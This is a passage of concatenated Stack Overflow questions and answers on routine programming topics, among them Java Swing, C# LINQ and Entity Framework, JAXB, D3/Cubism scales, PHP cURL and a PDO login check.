actionPerformed(ActionEvent arg0) { // TODO Auto-generated method stub } @Override public void keyPressed(KeyEvent arg0) { // TODO Auto-generated method stub } @Override public void keyReleased(KeyEvent arg0) { // TODO Auto-generated method stub } @Override public void keyTyped(KeyEvent arg0) { // TODO Auto-generated method stub } } //Next is the Display class import java.awt.*; import javax.swing.*; public class Display extends JFrame{ public JPanel gp = (JPanel) getGlassPane(); public Images i; public player k; public Display(){ i = new Images(); gp.setVisible(true); k = new player(this); gp.setLayout(new GridLayout(1,1,0,0)); this.setLayout(new GridLayout(1,1,0,0)); gp.add(k); this.add(i); } } </code></pre> <p>I am so sorry about the few errors I have but I did my best with the code. What is the problem with my keyListener or stuff. Please explain how to solve this problem.</p>
40433086	0	 <p>I think this code is correct.</p> <pre><code>var hotels1 = tb_hotel.Join(tb_room_hotel, chid =&gt; chid.HotelID, crid =&gt; crid.HotelID, (chid, crid) =&gt; new { chid, crid }) .Where(x =&gt; x.crid.tb_Language.Title == lang &amp;&amp; x.chid.ActionState != 0) .GroupBy(t =&gt; new { HID = t.chid.HotelID }) .Select(g =&gt; new { Average = g.Average(p =&gt; p.crid.Price), HID = g.Key.HID }).OrderBy(c =&gt; c.Average).ToList(); </code></pre>
9062533	0	 <p>In general, the paint event happen after resize events. So if you resize using either the mouse or even programmatically, then the <code>drawMaze()</code> function will be called. I think you should not create the maze in <code>drawMaze()</code>, or at least make a lazy initialization. That's because a maze will be created each time the window is painted, which occurs every time you resize the window, you move the window, you hide some part of the window, you change focus, etc... That's a lot of mazes :D.</p> <p>EDIT: The paint event suggest you that the display has changed, and that the change is likely to affect the portion of the screen you are painting on. So few things:</p> <ul> <li>During a paint event you want to do only one thing: painting. So don't call garbage collection. In general calling the Gc is not a good idea, and moreover in a Listener it will just crush the performance.</li> <li>The event will not change the state of your Maze. So you should represent your maze using a state. One part is fixed, like the walls, the other side is variable, like the agent position inside the maze. Each time you modify the state, you ask a repaint.</li> <li>If you skip a paint event, the screen will be blank. </li> </ul> <p>For example if your maze is too big to fit on the screen, you use the paint event to paint only one part, etc..</p>
21791697	0	 <p>What you are looking for is the <a href="http://msdn.microsoft.com/en-us/library/system.web.ui.webcontrols.button.oncommand%28v=vs.110%29.aspx" rel="nofollow">Button.OnCommand Method</a>:</p> <blockquote> <p>This allows you to create multiple Button controls on a Web page and programmatically determine which Button control is clicked.</p> </blockquote> <p>So inside <code>ListOfAssignments_ItemDataBound</code> you'd assign the CommandArgument to the button, where the <code>CommandArgument</code> is the ID of the article to be deleted:</p> <pre><code>protected void ListOfAssignments_ItemDataBound(object sender, RepeaterItemEventArgs e) { if (e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem) { Button delButton = e.Item.FindControl("RemoveAssignment") as Button; delButton.CommandArgument = //set to the value of AssignmentID //rest of your code } } </code></pre> <p>And now your button should say to use your new OnCommand:</p> <pre><code>&lt;asp:Button ID="RemoveAssignment" OnCommand="RemoveAssignment" runat="server" Text="Remove" /&gt; </code></pre> <p>And then you create the method:</p> <pre><code>protected void RemoveAssignment(object sender, CommandEventArgs e) { int articleIDToDelete = 0; if (Int32.TryParse((string)e.CommandArgument, out articleIDToDelete)) { //delete the article with an ID = articleIDToDelete } } </code></pre>
20673290	0	Entity Framework InvalidOperationException when updating an item <p>I get an <code>System.InvalidOperationException</code> error which states:</p> <blockquote> <p>Additional information: Member 'IsModified' cannot be called for property 'state' because the entity of type 'BatteryItem' does not exist in the context. To add an entity to the context call the Add or Attach method of DbSet.</p> </blockquote> <p>Haven't I done exactly this? That is my method below:</p> <pre><code>public void UpdateBatteryState(BatteryItem batItem, BatteryState state) { try { batItem.state = state.ToString(); context.BatteryItem.Attach(batItem); var entry = context.Entry(batItem); entry.Property(x =&gt; x.state).IsModified = true; Save(); } catch (Exception e) { Console.WriteLine(e.Message); } } </code></pre>
33039602	0	 <p>Do not reinvent the wheel. There is already a tool that creates an executable package. See the documentation of Oracle: <a href="https://docs.oracle.com/javase/8/docs/technotes/guides/deploy/self-contained-packaging.html" rel="nofollow">https://docs.oracle.com/javase/8/docs/technotes/guides/deploy/self-contained-packaging.html</a> With this you can create native bundles (.exe on Windows) for different OS. From the page mentioned:</p> <pre><code>javapackager -deploy -native -outdir packages -outfile BrickBreaker -srcdir dist -srcfiles BrickBreaker.jar -appclass brickbreaker.Main -name "BrickBreaker" -title "BrickBreaker demo" </code></pre> <p>The same can also be accomplished with an Ant task which might be easier to integrate. There is also the Maven plugin <a href="https://github.com/javafx-maven-plugin/javafx-maven-plugin" rel="nofollow">javax-maven-plugin</a>.</p>
11432518	0	 <p>I've discovered that the behaviour of a URL opening an iTunes preview web page before automatically opening the iTunes app on the host device (where available) is triggered by affiliate links (which need to track the click before taking the user to the intended destination).</p>
13249757	0	 <p><strong>Note:</strong> I'm the <a href="http://www.eclipse.org/eclipselink/moxy.php" rel="nofollow"><strong>EclipseLink JAXB (MOXy)</strong></a> lead and a member of the <a href="http://jcp.org/en/jsr/detail?id=222" rel="nofollow"><strong>JAXB (JSR-222)</strong></a> expert group.</p> <hr> <p><strong>UPDATE</strong></p> <p>We have been able to reproduce the error you are seeing in EclipseLink 2.4.1. We have not been able to reproduce the issue in the EclipseLink 2.4.2 or 2.5.0 streams. I would recommend downloading the latest 2.4.2 nightly build and trying it out:</p> <ul> <li><a href="http://www.eclipse.org/eclipselink/downloads/nightly.php" rel="nofollow">http://www.eclipse.org/eclipselink/downloads/nightly.php</a></li> </ul> <p>We are still investigating this issue to ensure that it is truly fixed.</p> <hr> <p><strong>ORIGINAL ANSWER</strong></p> <p>So far I have been unable to reproduce the results from your question when MOXy is used as the JAXB provider. Could you provide some additional information to help me reproduce your use case. Below is what I have tried so far:</p> <p><strong>Java Model</strong></p> <p>I took the Java model from the following location on GitHub:</p> <ul> <li><a href="https://github.com/plutext/docx4j/tree/master/src/main/java" rel="nofollow">https://github.com/plutext/docx4j/tree/master/src/main/java</a></li> </ul> <p><strong>jaxb.properties</strong></p> <p>I added a file called <code>jaxb.properties</code> in the <code>org.docx4j.wml</code> package to enable MOXy as the JAXB provider.</p> <pre><code>javax.xml.bind.context.factory=org.eclipse.persistence.jaxb.JAXBContextFactory </code></pre> <p><strong>Demo</strong></p> <p>Below is the demo code I used to try and reproduce the issue:</p> <pre class="lang-java prettyprint-override"><code>package org.docx4j.wml; import javax.xml.bind.*; import org.eclipse.persistence.Version; public class Demo { public static void main(String[] args) throws Exception { JAXBContext jc = JAXBContext.newInstance("org.docx4j.wml"); System.out.println(Version.getVersion()); System.out.println(jc.getClass()); Text text = new Text(); Marshaller marshaller = jc.createMarshaller(); marshaller.setProperty(Marshaller.JAXB_FORMATTED_OUTPUT, true); marshaller.marshal(text, System.out); } } </code></pre> <p><strong>Output</strong></p> <p>Below is the output from running the demo code. I'm seeing the proper root element <code>t</code> marshalled out instead of <code>delInstrText</code> as described in the question.</p> <pre><code>2.4.1 class org.eclipse.persistence.jaxb.JAXBContext &lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;ns0:t xmlns:ns2="http://schemas.openxmlformats.org/schemaLibrary/2006/main" xmlns:ns1="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:ns4="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:ns3="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:ns0="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:ns5="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/&gt; </code></pre>
17822798	0	Cubism.JS threshold scale doesn't work <p>I'm using cubism with data coming from graphite </p> <p>The data's domain is continuos [0,100] and the range is continuos [0,100] but anything below 100 is nonsense so I modified the scale and used a threshold scale so that:</p> <p>values &lt; 100 will be 0 and 100 will be 100. I tested that with:</p> <pre><code>var scale = d3.scale.threshold().domain([100]).range([0,100]) console.log(scale(1)) //returns 0 console.log(scale(99.9)) //returns 0 console.log(scale(88.9)) //returns 0 console.log(scale(100)) //returns 100 </code></pre> <p>When I apply it, it the whole chart becomes empty</p> <pre><code>.call(context.horizon().height(100) .colors(colors) .scale(d3.scale.threshold().domain([100]).range([0,100])) // range([0,1]) doesn't work either ); </code></pre> <p><img src="https://i.stack.imgur.com/fVpCV.png" alt="enter image description here"></p> <p>without applying the scale (notice the small white area)</p> <pre><code> .call(context.horizon().height(100) .colors(colors) // .scale(d3.scale.threshold().domain([100]).range([0,100])) // range([0,1]) doesn't work either ); </code></pre> <p><img src="https://i.stack.imgur.com/94Wtr.png" alt="enter image description here"></p>
11258573	0	 <p>I guess you could break it down</p> <pre><code>var row = cell.Row; var cell = wksheet.Cells(row, "J"); var value = cell.Value; </code></pre>
35494056	0	html-agility-pack how can i make import url's local using selectnodes? <p>I am using html-agility-pack to change all the website url's to local url's. I've already changed several url's with SelectNodes. However I have no idea how to use import url's with selectnodes. </p> <p>I want to change this:</p> <pre><code>&lt;style type="text/css" media="all"&gt; @import url("http://link.nl/test.css"); @import url("http://link2.nl/test2.css"); @import url("http://link3.nl/test3.css"); @import url("http://link4.nl/test4.css"); &lt;/style&gt; </code></pre> <p>to this:</p> <pre><code>&lt;style type="text/css" media="all"&gt; @import url("c:/user/admin/documents/copy1.css"); @import url("c:/user/admin/documents/copy2.css"); @import url("c:/user/admin/documents/copy3.css"); @import url("c:/user/admin/documents/copy4.css"); &lt;/style&gt; </code></pre> <p>Does anyone know how I can change this to a local path file with html-agility-pack?</p>
4405802	0	 <p>If we were to follow the MVC architecture, and Cocoa Touch does, the model layer should be completely abstracted from view layer. In this case, giving your CData class access to an IBOutlet violates this principle - assuming that CData is a model-type class.<br /> Like you said, one way of going about it is to return something from <code>-calculateString</code>. This may seem like more code but does not limit the reusability of your model class.</p>
4450577	0	 <p>It's important to realize that web pages will always render differently in different browsers. Acheiving pixel perfection is futile, and nowadays I try to explain to my clients what kind of cost is involved to make every browser render the site exactly alike. More often now, they understand that IE6 and FF4 won't ever render any page the same way. We must try to make our clients understand and embrace the dynamics of the web.</p> <p>Progressive enhancement and graceful degradation. Peace. </p>
10707029	0	 <p>For the fading, you'll need to refrence <a href="http://jqueryui.com" rel="nofollow">jQuery UI</a> in your <code>&lt;head&gt;</code>:</p> <pre><code>&lt;script src="http://ajax.aspnetcdn.com/ajax/jquery.ui/1.8.20/jquery-ui.min.js"&gt; &lt;/script&gt; </code></pre> <p>And then for the rest:</p> <pre><code>// Wait until the document is ready before proceeding $(function(){ // Cache a reference to the banner to jQuery doesn't have to find it again var $banner = $("#banner"); // Immediately add the 'light' class $banner.addClass("light"); // When #change is clicked, swap the classes on #banner $("#change").on("click", function(e){ // Prevent the link from changing the page e.preventDefault(); // Remove 'light', and add 'dark' $banner.addClass("dark", 1000).removeClass("light"); }); });​ </code></pre>
35254965	0	ACTION_VIEW intent displays picture full screen with icons underneath system icons <p>I am launching a standard ACTION_VIEW intent:</p> <pre><code>Intent showThumbnail = new Intent(Intent.ACTION_VIEW); showThumbnail.setDataAndType(Uri.fromFile(pictureFile), "image/*"); v.getContext().startActivity(showThumbnail); </code></pre> <p>The picture shows up:</p> <p><a href="https://i.stack.imgur.com/UsglZ.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/UsglZ.jpg" alt="Android image view intent overlapping icons"></a></p> <p>Note the overlapping 'back' icon at the top of the page and the 'share' and 'info' icons beneath the system icons.</p> <p>My question: Why is this happening and how do I make the image viewer top and bottom icons appear where they should (See image below).</p> <p>Note that the UIs (image and system icons) both vanish when clicking on the image. Upon clicking again the UI is correctly displayed:</p> <p><a href="https://i.stack.imgur.com/5fUZK.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/5fUZK.jpg" alt="Android image view with icons correctly displayed"></a></p> <p>Details: Nexus 7 (Lollypop)</p>
9906007	0	 <p>Use the following code to convert content of file (text or csv) in String.</p> <pre><code> InputStream in; String str = ""; try { in = new URL(url).openStream(); int size = in.available(); for (int i = 0; i &lt; size; i++) { char ch = (char) in.read(); str = str.concat(ch + ""); } in.close(); } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } </code></pre>
8789496	0	 <p>Are you using the Timer in daemon mode? Please see this documentation which says what's a daemon thread.</p> <pre><code>/** * Creates a new timer whose associated thread may be specified to * {@linkplain Thread#setDaemon run as a daemon}. * A daemon thread is called for if the timer will be used to * schedule repeating "maintenance activities", which must be * performed as long as the application is running, but should not * prolong the lifetime of the application. * * @param isDaemon true if the associated thread should run as a daemon. */ public Timer(boolean isDaemon) { this("Timer-" + serialNumber(), isDaemon); } </code></pre> <p>If you are using a daemon thread, application will not wait for this thread to finish so any pending operation in this thread is not guaranteed to finish. However, if it's not a daemon thread, the application will shutdown only after this thread finishes its last operation.</p> <p>Coming to the closing of file handles, why don't you do that in the timer thread itself? If that cannot be done, Shudown hooks are the ideal way to do something at the application shutting down time.</p> <p>So, you can have a common lock, which can be acquired by the timer for every task execution and the same lock can be acquired by the shutdown task to close the open file handles.</p> <p>I hope that makes things clear.</p>
18276755	0	 <p>It checks to see if the variable <code>name</code> matches the regular expression <code>/family/i</code></p> <p>The <code>i</code> makes the regex case-insensitive, so <code>FaMilY</code> would match.</p>
40360429	0	 <p>According to <a href="https://laravel.com/docs/5.3#installing-laravel" rel="nofollow noreferrer">Laravel's Documentation</a></p> <p>Make sure to place the <code>$HOME/.composer/vendor/bin</code> directory (or the equivalent directory for your OS) in your $PATH so the laravel executable can be located by your system. In case of Windows you should ad that $PATH to your enviornment variables.</p>
3447230	0	Closing the NSPanel issue <p>very unusual problem i'm getting if i press the close button of panel, panel closes but when i press a custom button and calls this close function panel doesn't close. If i mark a breakpoint in close function and continue with execution then panel gets close...i'm confused. why panel doesn't close on normal execution but closes when i mark breakpoint and continue it? </p> <pre><code>NSRect panelRect = NSMakeRect(100, 100, 530, 400); RecordsListingViewController* listController = [[RecordsListingViewController alloc] initWithContentRect:panelRect styleMask:NSTitledWindowMask | NSClosableWindowMask | NSUtilityWindowMask backing:NSBackingStoreBuffered defer:YES]; NSUInteger modelInt = [[NSApplication sharedApplication] runModalForWindow:listController]; - (void)close { ///[self stop]; [[NSApplication sharedApplication] stopModal]; [super close]; } </code></pre>
5744838	0	 <p>Even after your update, I agree with Markus. It doesn't seem you need a custom panel. What you need is an ItemsControl with UniformGrid as ItemsPanel and ViewBox as ItemsContainer. UniformGrid decides how your items container are arranged. ViewBox handles stretch and scale of each item.</p>
16610815	0	Weld CDI : Using @Alternative @Singleton <p>I have a Producers class annotated with <code>@Singleton</code>, containing a method annotated with <code>@Produces</code>.</p> <p>I want to write unit test using an alternative of this method, but can't manage to do it. here's a summary of my code :</p> <pre><code>package fr.easycompany.easywrite.tools.injection; @Singleton public class Producers { @Produces @Named(PREFERENCES_FILE_NAMED) public String producePreferenceFileName(){ return "preferences.xml"; } } </code></pre> <p>And my Alternative :</p> <pre><code>package fr.easycompany.easywrite.tools.injection; @Singleton @Alternative public class ProducersAlternative { @Produces @Named(PREFERENCES_FILE_NAMED) public String producePreferenceFileName(){ return "preferences_test.xml"; } } </code></pre> <p>I also created a beans.xml in src/test/resources/META-INF with the following content</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;beans xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:weld="http://jboss.org/schema/weld/beans" xsi:schemaLocation=" http://java.sun.com/xml/ns/javaee http://docs.jboss.org/cdi/beans_1_0.xsd http://jboss.org/schema/weld/beans http://jboss.org/schema/weld/beans_1_1.xsd"&gt; &lt;alternatives&gt; &lt;class&gt;fr.easycompany.easywrite.tools.injection.ProducersAlternative&lt;/class&gt; &lt;/alternatives&gt; &lt;/beans&gt; </code></pre> <p>At the execution, it's always <code>Producers#producePreferenceFileName()</code> which is called. Why is it not <code>ProducersAlternative</code>'s method ? Is it impossible to have an alternative of a singleton injected class ?</p>
24327662	0	 <p>Post it as a string?</p> <pre><code>byte[] array = new byte[n]; array[0] = .. array[n] = .. String dataToSend = ""; For(int i = 0; i &lt; array.length -1; i++){ dataToSend += (char) array[0]; } // your post code here ... pairs.add(new BasicNameValuePair("key1", dataToSend)); </code></pre>
39514706	0	 <p>You need to update the default Android SDK <code>proguard.jar</code> with the latest version of Proguard found here:</p> <p><a href="https://sourceforge.net/projects/proguard/files/" rel="nofollow">https://sourceforge.net/projects/proguard/files/</a></p> <p>I would recommend that you install this on the side of the default version that Android ships in <code>android-sdk\tools\proguard</code>. Simply rename the existing folder to something else and add the new version of <code>proguard</code>.</p> <p>This is listed in the Xamarin.Android 7.0 release notes:</p> <p><a href="https://developer.xamarin.com/releases/android/xamarin.android_7/xamarin.android_7.0/" rel="nofollow">https://developer.xamarin.com/releases/android/xamarin.android_7/xamarin.android_7.0/</a></p> <p>In which the following bug was logged as well:</p> <p><a href="https://bugzilla.xamarin.com/show_bug.cgi?id=44187" rel="nofollow">https://bugzilla.xamarin.com/show_bug.cgi?id=44187</a></p> <p>Which is coordinated with a Pull Request in the Xamarin.Android repository:</p> <p><a href="https://github.com/xamarin/xamarin-android/pull/209" rel="nofollow">https://github.com/xamarin/xamarin-android/pull/209</a></p>
28598345	0	 <p>I think it would be cleaner to use <code>defaultdict</code>:</p> <pre><code>from collections import defaultdict mydict = defaultdict(lambda: 0) for x in cleanList: mydict[x[0]] += float(x[1]) </code></pre>
21637389	0	 <p>If you want to the particular value on click of particular link then you can use this code.</p> <pre><code>var data = document.getElementsByClassName("call"); var numbers = []; for (var i = 0; i &lt; data.length; i++) { data[i].onclick = getNumber; } function getNumber(){ numbers.push(this.dataset['number']); alert(this.dataset['number']); } </code></pre> <p>Here is the <a href="http://jsfiddle.net/VykGN/2/" rel="nofollow">DEMO</a></p> <p>There is no <strong>number</strong> property on anchor tag, so for your need we can use <strong>data-*</strong> property which allows you to store needful information on html.</p>
20784782	0	 <p>It is impossible or difficult to do it exactly in that format, but here is something close:</p> <pre><code>"1 and 2".scan(/\d/).reverse.join(" and ") # =&gt; "2 and 1" </code></pre>
5150496	0	 <p>If you don't want the url to put it on option's value, i'll give u example :</p> <pre><code>&lt;select class="abc"&gt; &lt;option value="0" href="hello"&gt;Hell&lt;/option&gt; &lt;option value="1" href="dello"&gt;Dell&lt;/option&gt; &lt;option value="2" href="cello"&gt;Cell&lt;/option&gt; &lt;/select&gt; $("select").bind('change',function(){ alert($(':selected',this).attr('href')); }) </code></pre>
21952252	0	 <pre><code>private static Random random = new Random((int)DateTime.Now.Ticks);//thanks to McAden public long LongBetween(long maxValue, long minValue) { return (long)Math.Round(random.NextDouble() * (maxValue - minValue - 1)) + minValue; } </code></pre>
1858654	0	 <p>I guess you mean ASP.Net GridView? GridView sends javascript postback (__dopostback(...) navigate cursor to edit link and note in status bar) when edit link is clicked, to solve your problem you should send that postback in other js event</p>
17446449	0	 <p>I do not know how to change chainde transation mode, but I want you to try "clear" JDBC and CallableStatemet. Such code looks like (I do not have Sybase so I cannot test it):</p> <pre><code>db = DriverManager.getConnection(db_url, usr, passwd) proc = db.prepareCall("{ ? = call usp_find(?) }"); proc.registerOutParameter(1, Types.INTEGER) proc.setString(2, "Apples"); proc.execute(); r = proc.getInt(1) print('result: %d' % (r)) </code></pre>
37672675	0	Curl "Failed to connect to example.com port 443: Connection timed out" (HTTPS host) <p>I am trying to send request using CURL but getting a connection timed out error:</p> <pre><code>curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_ENCODING, ''); curl_setopt($ch, CURLOPT_USERAGENT, 'ucn'); curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1000); curl_setopt($ch, CURLOPT_TIMEOUT, 1000); curl_setopt($ch, CURLOPT_MAXREDIRS, 10); curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); </code></pre> <p>The only problem I have is that it doesn't work for <code>https://</code>. What do I need to do to make this work for HTTPS?</p>
15490568	0	 <p>Just use <code>isalpha</code> to ignore other kinds of characters:</p> <pre><code>#include &lt;string.h&gt; #include &lt;stdio.h&gt; #include &lt;ctype.h&gt; int main (void) { char input[] = "thanks for the add"; int alpha_count = 0; for (int i = 0, x = strlen(input); i &lt; x; i++) { if (isalpha(input[i])) { if (alpha_count++ % 2 == 0 ) input [i] = toupper(input[i]); } } printf("%s\n", input); return 0; } </code></pre>
37982225	0	 <p><code>FindSync&lt;&gt;</code> does not return a single object. The answer to the question below may help you as well. <a href="http://stackoverflow.com/questions/30650722/difference-between-find-and-findasync">Difference between Find and FindAsync</a></p>
23501946	0	 <p>Are you sure, that the <code>programacaoObject.programacaoNome</code>, <code>programacaoObject.programacaoData</code> and <code>programacaoObject.programacaoLocal</code> are not empty?</p>
2594321	0	How do I launch iBooks e-reader programmatically on iPad? <p>Just like <code>UIApplication.openURL</code>.</p> <p>Is there an API to launch iBooks with an ISBN?</p>
30117807	0	 <p>If you need <code>Unicode</code> support and you are not able to use the <code>unescape</code> functionality implemented in <code>System.Web</code>, you can use the following replace statement instead:</p> <pre><code>string str = "%u0442%u043E%u0432%u0430%20%u0435%20text%20%14%u20AC"; //replace Unicode characters str = Regex.Replace(str, @"%U([0-9A-F]{4})", match =&gt; ((char)int.Parse( match.Groups[1].Value, NumberStyles.HexNumber ) ).ToString(),RegexOptions.IgnoreCase ); //now replace ASCII character str = Regex.Replace(str, @"%([0-9A-F]{2})", match =&gt; ((char)int.Parse( match.Groups[1].Value, NumberStyles.HexNumber ) ).ToString(),RegexOptions.IgnoreCase ); Console.WriteLine(str); </code></pre>
36309387	0	 <p>use this.</p> <pre><code>$('button').on('click', function() { var nomesalone = $('#nomeSaloneInput').val(); var indirizzo = $('#indirizzoInput').val(); var cap = $('#capInput').val(); var citta = $('#cittaInput').val(); var provincia = $('#provinciaInput').val(); $('#defNomeSalone').text(nomesalone+' '+indirizzo+' '+cap+' '+citta+' '+provincia); }); </code></pre>
31497168	0	 <p>In mongoid you can use between to do a search of records within a range. I don't recommend that you do the filtering directly in Ruby as this will be slow and memory intensive for larger data set.</p> <p>This post goes through a solution:</p> <p><a href="http://stackoverflow.com/questions/8136652/query-mongodb-on-month-day-year-of-a-datetime">Query Mongodb on month, day, year... of a datetime</a></p> <p>However, if you want to do it in pure ruby you could do:</p> <pre><code>start, finish = "06:00~09:00".split('~') start_hour = start.split(':')[0].to_i end_hour = finish.split(':')[0].to_i flights.select do |flight| flight.departure_time.hour &gt;= start_hour &amp;&amp; flight.departure_time.hour &lt;= end_hour end </code></pre> <p>This will just query for hours. You can include minutes by doing:</p> <pre><code>start, finish = "06:00~09:00".split('~') start = start.split(':').map(&amp;:to_i) finish = finish.split(':').map(&amp;:to_i) # Work in minutes start_minutes = start[0] * 60 + start[1] finish_minutes = finish[0] * 60 + finish[1] flights.select do |flight| dep_mins = flight.departure_time.hour * 60 + flight.departure_time.min dep_mins &gt;= start_minutes &amp;&amp; dep_mins &lt;= finish_minutes end </code></pre>
8859207	0	 <p>Unless you are 100% rely on the user and it seems that you are not, it will be good not to blindly import uploaded file, but first to check if it's correct.</p> <p>To do it, you'll need to open and to read the file, e.g. with <code>fgetcsv</code> and to check the data consistency line-by-line.</p> <hr> <p>You can find a lot of examples on the web.</p> <p>Here are just some:</p> <ul> <li><a href="http://www.damnsemicolon.com/php/php-upload-csv-mysql" rel="nofollow">http://www.damnsemicolon.com/php/php-upload-csv-mysql</a></li> <li><a href="http://www.programmingfacts.com/import-csvexcel-data-mysql-database/" rel="nofollow">http://www.programmingfacts.com/import-csvexcel-data-mysql-database/</a></li> </ul>
3998601	0	SQL Server combining data question <p>Hey all I am trying to combine my data into one sum. This is my output right now:</p> <pre><code>Amount --------- $258.0 $400.0 $1011.0 $628.0 $628.0 $340.0 $340.0 $1764.0 </code></pre> <p>of course the total would be $5369. This is the type of output I <strong>need</strong></p> <pre><code>Description | Quantity | Price | Amount -------------------------------------------- Fees 8 $1.50 $12.00 Redep $5369.00 $5381.00 </code></pre> <p>Only information above I would really need is the <strong>8</strong>, <strong>12</strong>, <strong>5369.00</strong> and <strong>5381.00</strong>.</p> <p>And this is my query to get those values I first posted:</p> <pre><code>SELECT '$' + CONVERT(varchar(50),round((CONVERT(int,Points) * .1),0)) AS 'Amount' FROM tblHGP HGP, OrderDetails OD, tblInvoices i JOIN tblCS cs ON i.INumber = cs.INumber JOIN tblECI ac ON i.INumber = ac.INumber WHERE cs.SoldTo = HGP.ECard AND issued BETWEEN '2010-09-01' AND '2010-09-30 23:59:59' AND Country = 'US' AND HGP.iNumber = OD.orderdetail ORDER BY issued </code></pre>
14893669	0	 <p>Your question now seems to focus on a object oriented cryptographic library for C++. For that question I can recommend <a href="http://botan.randombit.net/" rel="nofollow">Botan</a>. It does seem to focus on modern computing algorithms and includes PBKDF2.</p> <p>Note that I cannot vouch for the security of this library, I haven't used or evaluated it personally.</p>
3151506	0	 <p>I'd use one of the private ranges, e.g. 192.168.1.1. I wouldn't use anyone's public IP space.</p>
15541421	1	Python: how to make form a string comprising of text and variable values in python 2.6 <p>Basically I'm looking for concatenating the strings and variable together. </p> <p>In Java: </p> <pre><code>String s = "HI my name is "+var_name+" I'm "+age+" years old"; </code></pre> <p>In PHP: </p> <pre><code>$s = "Hi my name is ".$var_name." I'm ".$age." years old"; </code></pre> <p>I want a similar thing in Python. I know the format function supported by Python 3.0 and above but I have a constraint of running it at Python version 2.6. I can't upgrade so please tell me the best method.</p> <p>P.S - I came to know that format works in Python 2.6 also. If you have any other method please let me know that also. It's always good to know more.</p>
5067242	0	 <p>Devexpress has a <a href="http://documentation.devexpress.com/#WindowsForms/clsDevExpressUtilsImageCollectiontopic" rel="nofollow">ImageCollection</a> which is very similar and it supports GIF's. </p>
31063211	0	 <p>Firebug displays pseudo-elements within the <a href="https://getfirebug.com/wiki/index.php/Style_Side_Panel" rel="nofollow noreferrer"><em>Style</em> side panel</a> for the selected element, not within the main HTML panel.</p> <p><img src="https://i.stack.imgur.com/TiznP.png" alt="&lt;code&gt;::before&lt;/code&gt; pseudo-element shown in *Style* side panel"></p>
12593367	0	 <p>Here's a simple JSON encoder in Qt -- should be relatively easy to recast into Java. All you really need to do is to make sure the keys are sorted when writing out -- can read in with another JSON package.</p> <pre><code>QString QvJson::encodeJson(const QVariant&amp; jsonObject) { QVariant::Type type = jsonObject.type(); switch (type) { case QVariant::Map: return encodeObject(jsonObject); case QVariant::List: return encodeArray(jsonObject); case QVariant::String: return encodeString(jsonObject); case QVariant::Int: case QVariant::Double: return encodeNumeric(jsonObject); case QVariant::Bool: return encodeBool(jsonObject); case QVariant::Invalid: return encodeNull(jsonObject); default: return encodingError("encodeJson", jsonObject, ErrorUnrecognizedObject); } } QString QvJson::encodeObject(const QVariant&amp; jsonObject) { QString result("{ "); QMap&lt;QString, QVariant&gt; map = jsonObject.toMap(); QMapIterator&lt;QString, QVariant&gt; i(map); while (i.hasNext()) { i.next(); result.append(encodeString(i.key())); result.append(" : "); result.append(encodeJson(i.value())); if (i.hasNext()) { result.append(", "); } } result.append(" }"); return result; } QString QvJson::encodeArray(const QVariant&amp; jsonObject) { QString result("[ "); QList&lt;QVariant&gt; list = jsonObject.toList(); for (int i = 0; i &lt; list.count(); i++) { result.append(encodeJson(list.at(i))); if (i+1 &lt; list.count()) { result.append(", "); } } result.append(" ]"); return result; } QString QvJson::encodeString(const QVariant &amp;jsonObject) { return encodeString(jsonObject.toString()); } QString QvJson::encodeString(const QString&amp; value) { QString result = "\""; for (int i = 0; i &lt; value.count(); i++) { ushort chr = value.at(i).unicode(); if (chr &lt; 32) { switch (chr) { case '\b': result.append("\\b"); break; case '\f': result.append("\\f"); break; case '\n': result.append("\\n"); break; case '\r': result.append("\\r"); break; case '\t': result.append("\\t"); break; default: result.append("\\u"); result.append(QString::number(chr, 16).rightJustified(4, '0')); } // End switch } else if (chr &gt; 255) { result.append("\\u"); result.append(QString::number(chr, 16).rightJustified(4, '0')); } else { result.append(value.at(i)); } } result.append('"'); QString displayResult = result; // For debug, since "result" often doesn't show Q_UNUSED(displayResult); return result; } QString QvJson::encodeNumeric(const QVariant&amp; jsonObject) { return jsonObject.toString(); } QString QvJson::encodeBool(const QVariant&amp; jsonObject) { return jsonObject.toString(); } QString QvJson::encodeNull(const QVariant&amp; jsonObject) { return "null"; } QString QvJson::encodingError(const QString&amp; method, const QVariant&amp; jsonObject, Error error) { QString text; switch (error) { case ErrorUnrecognizedObject: text = QObject::tr("Unrecognized object type"); break; default: Q_ASSERT(false); } return QObject::tr("*** Error %1 in QvJson::%2 -- %3").arg(error).arg(method).arg(text); } </code></pre>
20914509	0	PHP validation using PDO not working <p>I am new to PDO. I have included validation in the following code but it doesnt seem to work and no message appears if users enter the wrong username/password. Please show me where I am going wrong. I have numerous times to get this working but no luck. Thanks</p> <pre><code>&lt;?php require("config.php"); $submitted_username = ''; if(!empty($_POST)){ $query = " SELECT id, username, password, salt, email FROM users WHERE username = :username "; $query_params = array( ':username' =&gt; $_POST['username'] ); try{ $stmt = $db-&gt;prepare($query); $result = $stmt-&gt;execute($query_params); } catch(PDOException $ex){ die("Failed to run query: " . $ex-&gt;getMessage()); } $login_ok = false; $row = $stmt-&gt;fetch(); if($row){ $check_password = hash('sha256', $_POST['password'] . $row['salt']); for($round = 0; $round &lt; 65536; $round++){ $check_password = hash('sha256', $check_password . $row['salt']); } if($check_password === $row['password']){ $login_ok = true; } } if($login_ok){ unset($row['salt']); unset($row['password']); $_SESSION['user'] = $row; header("Location: 